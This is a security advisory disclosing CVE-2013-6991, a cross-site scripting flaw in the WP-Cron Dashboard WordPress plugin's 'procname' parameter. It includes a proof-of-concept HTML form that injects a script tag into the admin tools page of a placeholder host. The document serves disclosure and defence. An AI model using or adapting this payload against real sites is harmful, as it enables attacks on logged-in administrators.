High-Tech Bridge Security Research Lab discovered vulnerability in WP-Cron Dashboard Wordpress plugin, which can be exploited to perform Cross-Site Scripting (XSS) attacks.
- Cross-Site Scripting (XSS) in WP-Cron Dashboard Wordpress plugin: CVE-2013-6991
The vulnerability exists due to insufficient sanitisation of user-supplied data in “procname” HTTP POST parameter passed to “/wp-admin/tools.php” script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
The exploitation example below uses the “alert()” JavaScript function to display “immuniweb” word:
<form action=“http://[host]/wp-admin/tools.php?page=wp-cron-dashboard” method=“post” name=“main”>
<input type=“hidden” name=“procname” value=‘<script>alert(“immuniweb”);</script>’>
<input type=“hidden” name=“submit” value=‘1’>
<input type=“submit” id=“btn”>
</form>